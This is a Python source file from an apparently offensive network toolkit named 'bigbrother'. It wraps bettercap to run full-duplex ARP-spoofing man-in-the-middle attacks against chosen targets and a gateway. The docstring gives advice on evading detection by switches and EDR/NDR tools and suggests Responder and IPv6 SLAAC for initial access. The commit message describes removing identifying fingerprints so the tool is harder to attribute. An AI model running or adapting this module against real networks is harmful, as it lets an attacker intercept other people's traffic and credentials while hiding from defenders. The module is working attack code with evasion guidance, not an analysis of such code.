Files
bigbrother/modules/active/arp_spoof.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

185 lines
6.2 KiB
Python

#!/usr/bin/env python3
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
- EDR/NDR solutions alert within minutes.
- Prefer Responder + IPv6 SLAAC for initial access.
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
- Always run ids_tester DAI probe first to check viability.
Configures targets + gateway, then delegates to BettercapManager to
enable arp.spoof module. Full-duplex by default for complete MITM.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class ARPSpoof(BaseModule):
"""ARP spoofing via bettercap — full-duplex MITM.
Dependencies:
- bettercap_mgr must be running.
Configuration:
targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
gateway: Gateway IP to spoof (e.g., "10.0.0.0")
fullduplex: True for bidirectional spoofing (default True)
internal: Spoof between targets, not just target<->gateway (default False)
"""
name = "arp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._targets: Optional[str] = None
self._gateway: Optional[str] = None
self._fullduplex = True
self._internal = False
self._spoofing = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("ARPSpoof requires bettercap_mgr reference in config")
return
# Check if ARP was disabled by crash recovery
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error(
"ARP spoofing disabled by crash recovery — "
"bettercap crashed too many times with ARP spoof active"
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ARPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ARPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"targets": self._targets,
"gateway": self._gateway,
"fullduplex": self._fullduplex,
"internal": self._internal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "fullduplex" in config:
self._fullduplex = config["fullduplex"]
if "internal" in config:
self._internal = config["internal"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, targets: str, gateway: str) -> bool:
"""Enable ARP spoofing for specified targets and gateway.
Args:
targets: Comma-separated target IPs or CIDR.
gateway: Gateway IP address.
Returns:
True if spoofing was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("ARPSpoof not started")
return False
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
return False
try:
# Configure ARP spoof parameters
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
self._bettercap_mgr.run_command(
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
)
self._bettercap_mgr.run_command(
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
)
# Enable ARP spoofing
self._bettercap_mgr.run_command("arp.spoof on")
self._targets = targets
self._gateway = gateway
self._spoofing = True
# Inform bettercap_mgr for crash recovery tracking
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
self.state.set(self.name, "targets", targets)
self.state.set(self.name, "gateway", gateway)
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
return True
except Exception:
logger.exception("Failed to enable ARP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable ARP spoofing and send corrective ARPs.
Returns:
True if spoofing was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("arp.spoof off")
self._spoofing = False
self._bettercap_mgr.set_spoofing_state(False)
self.state.set(self.name, "targets", "")
self.state.set(self.name, "gateway", "")
logger.info("ARP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable ARP spoofing")
return False